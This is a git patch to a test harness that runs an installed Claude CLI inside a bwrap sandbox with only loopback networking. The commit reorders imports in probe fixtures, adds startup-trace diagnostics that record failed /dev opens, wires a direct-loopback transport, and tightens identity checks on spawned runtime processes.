expect(wiring,"NATIVE_REPETITION_WIRES_DEADLINE_PRELOAD").toHaveLength(1); + expect(wiring[0]!.arguments[2]?.getText(source),"NATIVE_REPETITION_WIRES_DEADLINE_PRELOAD").toContain("preload: join(root, DEADLINE_PRELOAD)"); + const directory=mkdtempSync(join(root,"tmp/odysseus-native-deadline-")); + try{ + const file=join(directory,"native-suite.test.ts"); + // No query executes: the reference makes this an SDK suite while the body is harmless. + writeFileSync(file,'import {test,expect} from "bun:test";import {query} from "@anthropic-ai/claude-agent-sdk";void query;test("native suite outer timeout scales",async()=>{await Bun.sleep(60);expect(true).toBe(true);},10);'); + const argv=repetitionArgv([relative(root,file)],1,{capMs:600000,preload:join(root,"scripts/test-deadline-preload.ts")}); + argv[argv.findIndex(value=>value.startsWith("--reporter-outfile="))]=`--reporter-outfile=${join(directory,"junit.xml")}`; + const child=Bun.spawn(argv,{cwd:root,env:{PATH:process.env.PATH,BRAIN_TEST_DEADLINE_FACTOR:"20",GITHUB_ACTIONS:"false",RUNNER_ENVIRONMENT:"local"},stdout:"pipe",stderr:"pipe",timeout:watchdogMs(15000)}); + const [code,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),new Response(child.stderr).text()]); + expect(code,"NATIVE_BUN_REGISTRARS_ARE_SCALED "+out+err).toBe(0);expect(out+err).toContain(" 0 fail"); + }finally{rmSync(directory,{recursive:true,force:true});} +},watchdogMs(20000)); + +test("native product timings and Bash budgets stay unscaled",()=>{ + const sources=nativeDeadlineSources(root);let products=0,health=0; + for(const[file,source]of sources)for(const item of nativeDeadlines(file,source))if(item.productReason){ + products++;expect(item.expression.getText(source),"NATIVE_PRODUCT_TIMING_STAYS_FIXED").not.toContain("watchdogMs"); + if(file==="scripts/native-proof/hosted-app.test.ts"&&item.kind==="abort"){ + health++;expect(item.expression.getText(source),"ADMISSION_ONE_SECOND_BUDGET_UNCHANGED").toBe("1000"); + } + } + expect(products).toBeGreaterThan(0);expect(health).toBe(4); +}); From 44f3ccb2ca67b8c42fc6db4674884525092cd388 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Sat, 21 Nov 2026 17:00:55 +0000 Subject: [PATCH 078/187] test: preserve direct native auth and expose startup identity evidence --- experiments/2052-title-provenance/probe.ts | 2 +- .../tests/fixtures/autonomous-prompt-probe.ts | 2 +- .../tests/fixtures/background-shell-probe.ts | 2 +- .../fixtures/interactive-git-prompt-probe.ts | 2 +- .../fixtures/provider-history-apify-probe.ts | 2 +- .../provider-history-attachment-probe.ts | 2 +- .../tests/fixtures/provider-history-probe.ts | 2 +- .../tests/fixtures/session-prompt-probe.ts | 2 +- .../tests/fixtures/shell-startup-probe.ts | 2 +- .../tests/fixtures/stable-roster-probe.ts | 2 +- .../tests/fixtures/transcript-prefix-probe.ts | 2 +- .../fixtures/scratch-mask-identity-ws.ts | 2 +- scripts/capture-turn-surface.ts | 2 +- scripts/fixtures/claude-core-default-probe.ts | 2 +- scripts/measure-claude-capability.ts | 2 +- scripts/measure-claude-delegation.ts | 2 +- scripts/measure-claude-enforcement.ts | 2 +- scripts/measure-claude-haiku.ts | 2 +- scripts/measure-show-block.ts | 2 +- scripts/measure-turn-surface-live.ts | 2 +- scripts/native-device-diagnostics.ts | 14 ++++++++ scripts/native-proof/mcp-search-worker.ts | 1 - scripts/native-rtk-diagnostics.ts | 8 +++-- scripts/test-native-guard.ts | 35 ++++++++++++++----- .../fixtures/autonomous-containment-probe.ts | 2 +- tests/fixtures/autonomous-runtime-probe.ts | 2 +- tests/fixtures/claude-worker-probe.ts | 2 +- tests/fixtures/policy-boundary-probe.ts | 2 +- tests/native-device-diagnostics.test.ts | 20 ++++++++++- tests/native-direct-transport.test.ts | 28 +++++++++++++++ tests/native-rtk-adapter.test.ts | 7 ++-- tests/native-rtk-diagnostics.test.ts | 10 ++++-- tests/test-determinism.test.ts | 2 +- 33 files changed, 131 insertions(+), 42 deletions(-) create mode 100644 tests/native-direct-transport.test.ts diff --git a/experiments/2052-title-provenance/probe.ts b/experiments/2052-title-provenance/probe.ts index fb1082d8db..df13888ded 100644 --- a/experiments/2052-title-provenance/probe.ts +++ b/experiments/2052-title-provenance/probe.ts @@ -1,5 +1,5 @@ -import { watchdogMs } from "../../scripts/test-deadlines"; import "../../scripts/test-network-child-preload.ts"; +import { watchdogMs } from "../../scripts/test-deadlines"; import { nativeScriptedService } from "../../scripts/test-native-guard.ts"; /** Run through run.ts: the SDK, CLI and tool descendants share an offline netns. */ import { mkdirSync, readFileSync, writeFileSync } from "node:fs"; diff --git a/packages/ui-backend-claude/tests/fixtures/autonomous-prompt-probe.ts b/packages/ui-backend-claude/tests/fixtures/autonomous-prompt-probe.ts index 1636c78484..e2298c6dfa 100644 --- a/packages/ui-backend-claude/tests/fixtures/autonomous-prompt-probe.ts +++ b/packages/ui-backend-claude/tests/fixtures/autonomous-prompt-probe.ts @@ -1,5 +1,5 @@ -import { watchdogMs } from "../../../../scripts/test-deadlines"; import "../../../../scripts/test-network-child-preload.ts"; +import { watchdogMs } from "../../../../scripts/test-deadlines"; import { nativeScriptedService } from "../../../../scripts/test-native-guard.ts"; import { createFixtureWorkerStartupView } from "../../../ui-sdk/tests/helpers/worker-startup-view-fixture.js"; /** Keyless selected-runtime assembly receipt; caller denies all external network. */ diff --git a/packages/ui-backend-claude/tests/fixtures/background-shell-probe.ts b/packages/ui-backend-claude/tests/fixtures/background-shell-probe.ts index 5db7ac5fc4..3d4df18e7c 100644 --- a/packages/ui-backend-claude/tests/fixtures/background-shell-probe.ts +++ b/packages/ui-backend-claude/tests/fixtures/background-shell-probe.ts @@ -1,5 +1,5 @@ -import { watchdogMs } from "../../../../scripts/test-deadlines"; import "../../../../scripts/test-network-child-preload.ts"; +import { watchdogMs } from "../../../../scripts/test-deadlines"; import { nativeScriptedService } from "../../../../scripts/test-native-guard.ts"; /** Real installed CLI, fictional credentials and a loopback-only namespace. */ import { expect } from "bun:test"; diff --git a/packages/ui-backend-claude/tests/fixtures/interactive-git-prompt-probe.ts b/packages/ui-backend-claude/tests/fixtures/interactive-git-prompt-probe.ts index 4b6406994b..b7a440dba9 100644 --- a/packages/ui-backend-claude/tests/fixtures/interactive-git-prompt-probe.ts +++ b/packages/ui-backend-claude/tests/fixtures/interactive-git-prompt-probe.ts @@ -1,5 +1,5 @@ -import { watchdogMs } from "../../../../scripts/test-deadlines"; import "../../../../scripts/test-network-child-preload.ts"; +import { watchdogMs } from "../../../../scripts/test-deadlines"; import { nativeScriptedService } from "../../../../scripts/test-native-guard.ts"; import { createFixtureWorkerStartupView, createFixtureMaintenanceHost, prepareFixtureWorkerSandbox } from "../../../ui-sdk/tests/helpers/worker-startup-view-fixture.js"; /** Keyless selected-runtime assembly receipt; caller denies all external network. */ diff --git a/packages/ui-backend-claude/tests/fixtures/provider-history-apify-probe.ts b/packages/ui-backend-claude/tests/fixtures/provider-history-apify-probe.ts index 13eda51678..1f02cd9210 100644 --- a/packages/ui-backend-claude/tests/fixtures/provider-history-apify-probe.ts +++ b/packages/ui-backend-claude/tests/fixtures/provider-history-apify-probe.ts @@ -1,5 +1,5 @@ -import { watchdogMs } from "../../../../scripts/test-deadlines"; import "../../../../scripts/test-network-child-preload.ts"; +import { watchdogMs } from "../../../../scripts/test-deadlines"; import { nativeScriptedService } from "../../../../scripts/test-native-guard.ts"; /** * Apify through the installed Claude CLI (#3162). The caller confines the SDK, diff --git a/packages/ui-backend-claude/tests/fixtures/provider-history-attachment-probe.ts b/packages/ui-backend-claude/tests/fixtures/provider-history-attachment-probe.ts index 262a04dc76..883b724c8e 100644 --- a/packages/ui-backend-claude/tests/fixtures/provider-history-attachment-probe.ts +++ b/packages/ui-backend-claude/tests/fixtures/provider-history-attachment-probe.ts @@ -1,5 +1,5 @@ -import { watchdogMs } from "../../../../scripts/test-deadlines"; import "../../../../scripts/test-network-child-preload.ts"; +import { watchdogMs } from "../../../../scripts/test-deadlines"; import { nativeScriptedService } from "../../../../scripts/test-native-guard.ts"; /** * Attachment reads through the installed Claude CLI (#3154). The caller diff --git a/packages/ui-backend-claude/tests/fixtures/provider-history-probe.ts b/packages/ui-backend-claude/tests/fixtures/provider-history-probe.ts index 1247bfe6df..2ecba70d9e 100644 --- a/packages/ui-backend-claude/tests/fixtures/provider-history-probe.ts +++ b/packages/ui-backend-claude/tests/fixtures/provider-history-probe.ts @@ -1,5 +1,5 @@ -import { watchdogMs } from "../../../../scripts/test-deadlines"; import "../../../../scripts/test-network-child-preload.ts"; +import { watchdogMs } from "../../../../scripts/test-deadlines"; import { nativeScriptedService } from "../../../../scripts/test-native-guard.ts"; /** The caller confines the SDK, bundled CLI and every tool to loopback. */ import { mkdirSync, writeFileSync } from "node:fs"; diff --git a/packages/ui-backend-claude/tests/fixtures/session-prompt-probe.ts b/packages/ui-backend-claude/tests/fixtures/session-prompt-probe.ts index 545bda28bc..1b7d977068 100644 --- a/packages/ui-backend-claude/tests/fixtures/session-prompt-probe.ts +++ b/packages/ui-backend-claude/tests/fixtures/session-prompt-probe.ts @@ -1,5 +1,5 @@ -import { watchdogMs } from "../../../../scripts/test-deadlines"; import "../../../../scripts/test-network-child-preload.ts"; +import { watchdogMs } from "../../../../scripts/test-deadlines"; import { nativeScriptedService } from "../../../../scripts/test-native-guard.ts"; /** Real locked CLI, fake loopback Messages origin, offline namespace supplied by caller. */ import { createFixtureWorkerStartupView } from "../../../ui-sdk/tests/helpers/worker-startup-view-fixture.js"; diff --git a/packages/ui-backend-claude/tests/fixtures/shell-startup-probe.ts b/packages/ui-backend-claude/tests/fixtures/shell-startup-probe.ts index ac5bd2889d..4a2d3b6367 100644 --- a/packages/ui-backend-claude/tests/fixtures/shell-startup-probe.ts +++ b/packages/ui-backend-claude/tests/fixtures/shell-startup-probe.ts @@ -1,5 +1,5 @@ -import { watchdogMs } from "../../../../scripts/test-deadlines"; import "../../../../scripts/test-network-child-preload.ts"; +import { watchdogMs } from "../../../../scripts/test-deadlines"; import { nativeScriptedService } from "../../../../scripts/test-native-guard.ts"; /** Real SDK-selected CLI in the production worker; caller supplies an offline namespace. */ import { query } from "@anthropic-ai/claude-agent-sdk"; diff --git a/packages/ui-backend-claude/tests/fixtures/stable-roster-probe.ts b/packages/ui-backend-claude/tests/fixtures/stable-roster-probe.ts index 301d497bd3..56d7b5ae3a 100644 --- a/packages/ui-backend-claude/tests/fixtures/stable-roster-probe.ts +++ b/packages/ui-backend-claude/tests/fixtures/stable-roster-probe.ts @@ -1,5 +1,5 @@ -import { watchdogMs } from "../../../../scripts/test-deadlines"; import "../../../../scripts/test-network-child-preload.ts"; +import { watchdogMs } from "../../../../scripts/test-deadlines"; import { nativeScriptedService } from "../../../../scripts/test-native-guard.ts"; /** Installed CLI/SDK, isolated by the caller's offline network namespace. */ import { mkdirSync, writeFileSync, readFileSync } from "node:fs"; diff --git a/packages/ui-backend-claude/tests/fixtures/transcript-prefix-probe.ts b/packages/ui-backend-claude/tests/fixtures/transcript-prefix-probe.ts index ba8106afa0..45b6f9956e 100644 --- a/packages/ui-backend-claude/tests/fixtures/transcript-prefix-probe.ts +++ b/packages/ui-backend-claude/tests/fixtures/transcript-prefix-probe.ts @@ -1,5 +1,5 @@ -import { watchdogMs } from "../../../../scripts/test-deadlines"; import "../../../../scripts/test-network-child-preload.ts"; +import { watchdogMs } from "../../../../scripts/test-deadlines"; import { nativeScriptedService } from "../../../../scripts/test-native-guard.ts"; /** Narrow #2049 proof; follows the offline CLI pattern from #2053/#2047. */ import { cpSync, mkdirSync, readFileSync, writeFileSync } from "node:fs"; diff --git a/packages/ui-sdk/tests/fixtures/scratch-mask-identity-ws.ts b/packages/ui-sdk/tests/fixtures/scratch-mask-identity-ws.ts index 8eec7e3081..584c368ff7 100644 --- a/packages/ui-sdk/tests/fixtures/scratch-mask-identity-ws.ts +++ b/packages/ui-sdk/tests/fixtures/scratch-mask-identity-ws.ts @@ -1,5 +1,5 @@ -import { watchdogMs } from "../../../../scripts/test-deadlines"; import "../../../../scripts/test-network-child-preload.ts"; +import { watchdogMs } from "../../../../scripts/test-deadlines"; import {nativeScriptedService} from "../../../../scripts/test-native-guard.ts"; import { prepareNativeScratchMask, answerNativeScratchMask, exerciseNativeScratchMask } from "./scratch-mask-native.js"; import { defaultIdentityPhase } from "./default-identity-phases.js"; diff --git a/scripts/capture-turn-surface.ts b/scripts/capture-turn-surface.ts index 8e92c773a8..42e9556468 100644 --- a/scripts/capture-turn-surface.ts +++ b/scripts/capture-turn-surface.ts @@ -1,5 +1,5 @@ -import { watchdogMs } from "./test-deadlines"; import "./measurement-entry-preload.ts"; +import { watchdogMs } from "./test-deadlines"; import { nativeScriptedService } from "./test-native-guard.ts"; /** #587: capture the installed CLI's request using a loopback scripted model. * This observes serialization, not model choice or model quality. No real diff --git a/scripts/fixtures/claude-core-default-probe.ts b/scripts/fixtures/claude-core-default-probe.ts index 6ec9c22a6c..a8f84f03e6 100644 --- a/scripts/fixtures/claude-core-default-probe.ts +++ b/scripts/fixtures/claude-core-default-probe.ts @@ -1,5 +1,5 @@ -import { watchdogMs } from "../test-deadlines"; import "../test-network-child-preload.ts"; +import { watchdogMs } from "../test-deadlines"; import { nativeScriptedService } from "../test-native-guard.ts"; /** Actual core factory, actual bundled CLI, networkless fictional control only. */ import { mkdirSync,writeFileSync,readFileSync,existsSync,appendFileSync } from "node:fs"; diff --git a/scripts/measure-claude-capability.ts b/scripts/measure-claude-capability.ts index 8dcb3a31fa..0a59e500fd 100644 --- a/scripts/measure-claude-capability.ts +++ b/scripts/measure-claude-capability.ts @@ -1,5 +1,5 @@ -import { watchdogMs } from "./test-deadlines"; import "./measurement-entry-preload.ts"; +import { watchdogMs } from "./test-deadlines"; import { nativeScriptedService } from "./test-native-guard.ts"; // #1213: keyless Sonnet 5.5 native metadata control. Run with loopback only. import assert from "node:assert/strict"; diff --git a/scripts/measure-claude-delegation.ts b/scripts/measure-claude-delegation.ts index d08efdd678..debf3a97ef 100644 --- a/scripts/measure-claude-delegation.ts +++ b/scripts/measure-claude-delegation.ts @@ -1,5 +1,5 @@ -import { watchdogMs } from "./test-deadlines"; import "./measurement-entry-preload.ts"; +import { watchdogMs } from "./test-deadlines"; import { nativeFixtureDirectory, nativeScriptedService, nativeScriptedQuery } from "./test-native-guard.ts"; // #1213: production enforcement and foreground rewrite inherited by a real subagent. // Run with only loopback enabled. All credentials and commands are controlled fixtures. diff --git a/scripts/measure-claude-enforcement.ts b/scripts/measure-claude-enforcement.ts index 1418ef368a..897f620b65 100644 --- a/scripts/measure-claude-enforcement.ts +++ b/scripts/measure-claude-enforcement.ts @@ -1,5 +1,5 @@ -import { watchdogMs } from "./test-deadlines"; import "./measurement-entry-preload.ts"; +import { watchdogMs } from "./test-deadlines"; import { nativeFixtureDirectory, nativeScriptedQuery } from "./test-native-guard.ts"; // #901: real production wiring, real CLI, scripted loopback inference. // Run in the same loopback-only network namespace as measure-claude-runtime. diff --git a/scripts/measure-claude-haiku.ts b/scripts/measure-claude-haiku.ts index bcb017e808..2bc40e1da8 100644 --- a/scripts/measure-claude-haiku.ts +++ b/scripts/measure-claude-haiku.ts @@ -1,5 +1,5 @@ -import { watchdogMs } from "./test-deadlines"; import "./measurement-entry-preload.ts"; +import { watchdogMs } from "./test-deadlines"; import { nativeFixtureDirectory, nativeScriptedService, nativeScriptedQuery } from "./test-native-guard"; // #1238: actual bundled runtime, production model assembly, fixture inference. // Run inside a network namespace with only loopback. No real credentials. diff --git a/scripts/measure-show-block.ts b/scripts/measure-show-block.ts index 4a094b1b0d..4645380dca 100644 --- a/scripts/measure-show-block.ts +++ b/scripts/measure-show-block.ts @@ -1,5 +1,5 @@ -import { watchdogMs } from "./test-deadlines"; import "./measurement-entry-preload.ts"; +import { watchdogMs } from "./test-deadlines"; /** * Measure the `show_block` call rate on the Claude backend, with and without * the tool's per-turn brief. diff --git a/scripts/measure-turn-surface-live.ts b/scripts/measure-turn-surface-live.ts index 8301ea63a7..e390100d72 100644 --- a/scripts/measure-turn-surface-live.ts +++ b/scripts/measure-turn-surface-live.ts @@ -1,5 +1,5 @@ -import { watchdogMs } from "./test-deadlines"; import "./measurement-entry-preload.ts"; +import { watchdogMs } from "./test-deadlines"; import {nativeScriptedService,nativeSyntheticCredential} from "./test-native-guard"; /** Private #587 research entrypoint. Never changes a production router/default. */ import { mkdirSync, mkdtempSync, readFileSync, writeFileSync } from "node:fs"; diff --git a/scripts/native-device-diagnostics.ts b/scripts/native-device-diagnostics.ts index 3ff902a8fa..8fad4f60c1 100644 --- a/scripts/native-device-diagnostics.ts +++ b/scripts/native-device-diagnostics.ts @@ -14,3 +14,17 @@ export function nativeDeviceMetadata(trace:string):Array { + const states=new Map();const records:Array<{stage:string;execPosition:number;device:string;error:string}>=[]; + for(const line of trace.split("\n")){ + const exec=/^\s*(\d+)\s+execve\(("(?:\\.|[^"\\])*"),/.exec(line); + if(exec&&/= 0$/.test(line)){let path:string;try{path=JSON.parse(exec[2]!);}catch{continue;}const previous=states.get(Number(exec[1]));states.set(Number(exec[1]),{stage:expected.includes(path)?"payload":path===wrapper?"wrapper":"bootstrap",execPosition:(previous?.execPosition??0)+1});} + const fork=/^\s*(\d+)\s+(?:clone3?|fork|vfork)\(.*\)\s+= (\d+)$/.exec(line); + if(fork){const state=states.get(Number(fork[1]));if(state)states.set(Number(fork[2]),{...state});} + const failed=/^\s*(\d+)\s+open(?:at2?)?\(.*?"(\/dev\/(?:stdin|stdout|stderr|null|urandom|tty|fd\/\d+|pts\/\d+|shm\/[^"/]+))".*= -1 (EACCES|EPERM)\b/.exec(line); + if(failed){const state=states.get(Number(failed[1]))??{stage:"bootstrap",execPosition:0};const device=failed[2]!.startsWith("/dev/shm/")?"shm":failed[2]!.slice(5);records.push({...state,device,error:failed[3]!});} + } + return records.slice(-32); +} diff --git a/scripts/native-proof/mcp-search-worker.ts b/scripts/native-proof/mcp-search-worker.ts index 4fe482db1b..6ade85de3c 100644 --- a/scripts/native-proof/mcp-search-worker.ts +++ b/scripts/native-proof/mcp-search-worker.ts @@ -30,4 +30,3 @@ try { const paths = [...new Set(text.match(/notes\/scheria-log-\d\d\.md/g) ?? [])].sort(); console.log(JSON.stringify({ paths, isError: found.result?.isError === true || found.error !== undefined, root: process.env.BRAIN_ROOT, dataRoot: process.env.BRAIN_WORKER_DATA_ROOT })); } finally { clearTimeout(timer); child.kill("SIGKILL"); } -export {}; diff --git a/scripts/native-rtk-diagnostics.ts b/scripts/native-rtk-diagnostics.ts index efab59d041..7056ebeeaa 100644 --- a/scripts/native-rtk-diagnostics.ts +++ b/scripts/native-rtk-diagnostics.ts @@ -7,9 +7,13 @@ export function nativeRtkFailureCategory(error:unknown):string { if(message==="native fixture RTK payload ambiguous")return "multiple-match"; if(["native fixture RTK root identity changed","native fixture RTK audited identity changed","native fixture RTK payload identity changed","native fixture RTK identity changed"].includes(message))return "start-mismatch"; if(["native fixture RTK executable changed","native fixture RTK executable unavailable"].includes(message))return "exe-mismatch"; - if(["native fixture RTK spawn is unregistered","native fixture RTK worker unavailable","native fixture RTK worker identity unavailable"].includes(message))return "launch-mismatch"; + if(["native fixture RTK runtime selection ambiguous","native fixture RTK spawn is unregistered","native fixture RTK worker unavailable","native fixture RTK worker identity unavailable"].includes(message))return "launch-mismatch"; return "register-refused"; } +export function nativeRtkExecutableLabel(error:unknown):string|undefined { + if(nativeRtkFailureCategory(error)!=="exe-mismatch"||!(error instanceof Error))return; + return ["basename-equal-but-path-differs","different-basename","unavailable"].includes(String(error.cause))?String(error.cause):"unavailable"; +} export function diagnoseNativeFixtureRtk(register:()=>void):void { - try{register();}catch(error){nativeReceipt({kind:"native-fixture-rtk-registration",head:nativeTestHead(),success:false,category:nativeRtkFailureCategory(error)});throw error;} + try{register();}catch(error){nativeReceipt({kind:"native-fixture-rtk-registration",head:nativeTestHead(),success:false,category:nativeRtkFailureCategory(error),...(nativeRtkExecutableLabel(error)?{executableLabel:nativeRtkExecutableLabel(error)}:{})});throw error;} } diff --git a/scripts/test-native-guard.ts b/scripts/test-native-guard.ts index 52526fc336..77e3aff8a0 100644 --- a/scripts/test-native-guard.ts +++ b/scripts/test-native-guard.ts @@ -1,4 +1,4 @@ -import { nativeDeviceMetadata, nativeDeviceMetadataCommand } from "./native-device-diagnostics"; +import { nativeDeviceMetadata, nativeDeviceMetadataCommand, nativeStartupOpenStages } from "./native-device-diagnostics"; import { nativeReceipt } from "./native-test-receipts.ts"; /** Test-only OS boundary for installed native Claude processes (#4313). */ import { constants, createWriteStream, cpSync, fstatSync, statfsSync, chmodSync, closeSync, mkdirSync, existsSync, lstatSync, openSync, readFileSync, readSync, readdirSync, statSync, mkdtempSync, readlinkSync, realpathSync, rmSync, writeFileSync } from "node:fs"; @@ -473,6 +473,7 @@ export function auditNativeLaunch(argv: string[], expected: readonly string[], c let trace = ""; try { trace = readFileSync(log, "utf8"); } catch { /* Missing evidence is a failed receipt. */ } if (diagnosticRoot) { + for(const failure of nativeStartupOpenStages(trace,expected,process.execPath))nativeReceipt({kind:"native-fixture-startup-open",head:nativeTestHead(),...failure}); for(const metadata of nativeDeviceMetadata(trace))nativeReceipt({kind:"native-fixture-device-metadata",head:nativeTestHead(),...metadata}); try { writeFileSync(join(diagnosticRoot, `native-startup-audit-${directoryStamp.ino}.json`), JSON.stringify({ kind: "native-fixture-startup-audit", head: nativeTestHead(), text: scrubNativeStartupTrace(trace,diagnosticFixtureRoots) }), { flag: "wx", mode: 0o600 }); } @@ -576,6 +577,14 @@ export function nativeAdmittedRelayBaseUrl(value:string|undefined,admitted:boole return "http://localhost"+path; } +/** Preserve direct-query authentication; the trusted forwarder mints only transport. */ +export function nativeDirectTransportEnvironment(env:Record,relayed:boolean):Record { + return relayed?{ANTHROPIC_BASE_URL:nativeAdmittedRelayBaseUrl(env.ANTHROPIC_BASE_URL,true),ANTHROPIC_UNIX_SOCKET:"/tmp/native-relay/relay.sock"}:{ANTHROPIC_BASE_URL:"http://127.0.0.1"}; +} +export function nativeDirectTransportCommand(command:readonly string[]):string[] { + return ["/usr/bin/python3","-I","-S","-c",'import os,sys,urllib.parse\np=urllib.parse.urlsplit(os.environ["HTTP_PROXY"])\nassert p.scheme=="http" and p.hostname=="127.0.0.1" and p.port and not p.username and not p.password and not p.path and not p.query and not p.fragment\nos.environ["ANTHROPIC_BASE_URL"]=os.environ["HTTP_PROXY"]\nos.execvp(sys.argv[1],sys.argv[1:])',...command]; +} + /** Direct SDK launch: empty filesystem, fresh PID/network namespaces, one IPC. */ export function nativeClaudeBoundary(command: string, args: string[], options: { cwd?: string; env?: Record; managedSettings?: string }): Boundary { qualify(); @@ -594,7 +603,8 @@ export function nativeClaudeBoundary(command: string, args: string[], options: { if (inheritedSocket && !inheritedOrigin) refuse("pre-existing native relay is not guard-owned"); if (inheritedOrigin && (!scriptedRoute.getStore() || normalizedOrigin(inheritedOrigin) !== normalizedOrigin(scriptedRoute.getStore()!.origin))) refuse("native relay did not match scripted authority"); const bridge = startNativeTestRelay(route.origin); - const turnProxy=route.turnProxy?startNativeTurnProxyTunnel(route.origin,bridge.directory):undefined; + const direct=!inheritedOrigin; + const turnProxy=direct||route.turnProxy?startNativeTurnProxyTunnel(route.origin,bridge.directory):undefined; try { const tools = fixtureToolView(env, cwd, home); command = resolveExecutable(command, options); @@ -614,7 +624,7 @@ export function nativeClaudeBoundary(command: string, args: string[], options: { const argv = [bwrapExecutable, "--unshare-all", "--die-with-parent", "--new-session", "--cap-drop", "ALL", ...mounts, "--clearenv"]; const childEnv: Record = { HOME: home, CLAUDE_CONFIG_DIR: versionHome ?? env.CLAUDE_CONFIG_DIR ?? home, PATH: tools.path, LANG: "C.UTF-8", - ANTHROPIC_BASE_URL: nativeAdmittedRelayBaseUrl(env.ANTHROPIC_BASE_URL,Boolean(inheritedOrigin)), ANTHROPIC_UNIX_SOCKET: "/tmp/native-relay/relay.sock", + ...nativeDirectTransportEnvironment(env,Boolean(inheritedOrigin)), CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC: "1", DISABLE_AUTOUPDATER: "1" }; // These are public model selectors, never ambient provider credentials. for (const key of ["ANTHROPIC_MODEL", "ANTHROPIC_DEFAULT_SONNET_MODEL", "ANTHROPIC_DEFAULT_OPUS_MODEL", "ANTHROPIC_DEFAULT_HAIKU_MODEL", "ANTHROPIC_SMALL_FAST_MODEL", "CLAUDE_CODE_SUBAGENT_MODEL", "CLAUDE_CODE_DISABLE_AUTO_MEMORY", "ENABLE_TOOL_SEARCH"]) { @@ -629,8 +639,8 @@ export function nativeClaudeBoundary(command: string, args: string[], options: { for (const key of ["ANTHROPIC_API_KEY", "ANTHROPIC_AUTH_TOKEN", "CLAUDE_CODE_OAUTH_TOKEN", "ANTHROPIC_BASE_URL", "ANTHROPIC_UNIX_SOCKET"]) delete childEnv[key]; } for (const [key, value] of Object.entries(childEnv)) argv.push("--setenv", key, value); - const payload=nativeSocketCommand([command,...args],inheritedSocket&&inheritedOrigin?inheritedSocket:join(bridge.directory,"relay.sock"),"/tmp/native-relay/relay.sock",turnProxy?{source:turnProxy.socket,allowed:WORKER_TURN_PROXY}:undefined); - argv.push("--chdir",cwd,"--",...(turnProxy?[process.execPath,"--config=/dev/null","--no-env-file",join(ROOT,"packages/ui-sdk/src/server/egress-worker-entry.ts"),...payload]:payload)); + const payload=nativeSocketCommand(direct?nativeDirectTransportCommand([command,...args]):[command,...args],inheritedSocket&&inheritedOrigin?inheritedSocket:join(bridge.directory,"relay.sock"),"/tmp/native-relay/relay.sock",turnProxy?{source:turnProxy.socket,allowed:WORKER_TURN_PROXY}:undefined); + argv.push("--chdir",cwd,"--",...(turnProxy?[process.execPath,"--config=/dev/null","--no-env-file",join(ROOT,"packages/ui-sdk/src/server/egress-worker-entry.ts"),...(direct?["--direct-loopback"]:[]),...payload]:payload)); const audited = auditNativeLaunch(argv, expectedNativeExec(command, args, options), () => { turnProxy?.dispose();bridge.dispose(); if (versionHome) rmSync(versionHome, { recursive: true, force: true }); }); beforeLaunch(); guardedPlans.add(audited.argv); @@ -925,7 +935,9 @@ const nativeFixtureRtkSpawns=new Map(); export function observeNativeFixtureRtkSpawn(pid:number,launch:import("../packages/ui-sdk/src/server/worker-launcher").WorkerLaunch,expected:readonly string[],liveExecs:()=>ReadonlyMap):void { const start=guardedChildren.get(pid); if(!start||processStart(pid)!==start)throw Error("native fixture RTK spawn is unregistered"); - nativeFixtureRtkSpawns.set(pid,{start,launch:structuredClone(launch),expected:[...expected],liveExecs}); + const selected=[...new Set(expected.map(path=>realpathSync(path)))]; + if(selected.length!==1)throw Error("native fixture RTK runtime selection ambiguous"); + nativeFixtureRtkSpawns.set(pid,{start,launch:structuredClone(launch),expected:selected,liveExecs}); if(nativeFixtureRtkSpawns.size>256)nativeFixtureRtkSpawns.delete(nativeFixtureRtkSpawns.keys().next().value!); } /** Re-register only the kernel/audit-proven payload view hidden by our broker. */ @@ -942,8 +954,8 @@ export function registerNativeFixtureRtk(worker:import("../packages/ui-sdk/src/s for(const [pid,auditedStart] of record.liveExecs()){ const start=owned.get(pid);if(!start)continue; if(start!==auditedStart)throw Error("native fixture RTK audited identity changed"); - let executable:string;try{executable=realpathSync(`/proc/${pid}/exe`);}catch{throw Error("native fixture RTK executable unavailable");} - if(!record.expected.includes(executable))throw Error("native fixture RTK executable changed"); + let executable:string;try{executable=realpathSync(`/proc/${pid}/exe`);}catch{throw Error("native fixture RTK executable unavailable",{cause:"unavailable"});} + if(!record.expected.includes(executable))throw Error("native fixture RTK executable changed",{cause:record.expected.some(path=>basename(path)===basename(executable))?"basename-equal-but-path-differs":"different-basename"}); if(processStart(pid)!==start)throw Error("native fixture RTK payload identity changed");selected.push(pid); } if(selected.length!==1)throw Error(selected.length===0?"native fixture RTK payload missing":"native fixture RTK payload ambiguous"); @@ -1182,6 +1194,10 @@ function nativeBwrapIndex(argv: readonly string[]): number { return -1; } +export function nativeDiagnosticWorkerPayload(payload:string[],diagnostic:boolean):string[] { + return diagnostic?nativeDeviceMetadataCommand(payload):payload; +} + /** Keep only the pinned transport and fixed launcher gates outside the payload filter. */ export function nativeWorkerPayloadCommand(payload:string[],command:string[],protect:(argv:string[],trustedWrapper?:boolean)=>string[]):string[] { const same=(value:string|undefined,expected:string)=>{try{return !!value&&realpathSync(value)===realpathSync(expected);}catch{return false;}}; @@ -1284,7 +1300,8 @@ export function nativeWorkerBoundary(env: Record): { const payloadIndex = workerArgv.indexOf("--", bwrap) + 1; const nativePayload = workerArgv.splice(payloadIndex); const turnProxy=admittedRelay(workerArgv,WORKER_TURN_PROXY); - workerArgv.push(...nativeWorkerPayloadCommand(nativePayload,command,(argv,trusted)=>nativeSocketCommand(supervisor&&process.argv.some(value=>value.startsWith("--native-identity-startup-audit="))?nativeDeviceMetadataCommand(argv):argv, admitted?.path ?? join(bridge.directory, "relay.sock"), pinned.ANTHROPIC_UNIX_SOCKET,trusted&&turnProxy?{source:turnProxy.path,allowed:WORKER_TURN_PROXY}:undefined))); + const protectedPayload=nativeWorkerPayloadCommand(nativePayload,command,(argv,trusted)=>nativeSocketCommand(argv, admitted?.path ?? join(bridge.directory, "relay.sock"), pinned.ANTHROPIC_UNIX_SOCKET,trusted&&turnProxy?{source:turnProxy.path,allowed:WORKER_TURN_PROXY}:undefined)); + workerArgv.push(...nativeDiagnosticWorkerPayload(protectedPayload,Boolean(supervisor&&process.argv.some(value=>value.startsWith("--native-identity-startup-audit="))))); const nativeMounts = workerArgv.slice(bwrap + 1, workerArgv.indexOf("--", bwrap)); const beforeLaunch = () => { try { keeper?.refresh(); assertWorkerFixtureBinds(nativeMounts, route, bridge.directory,keeper); 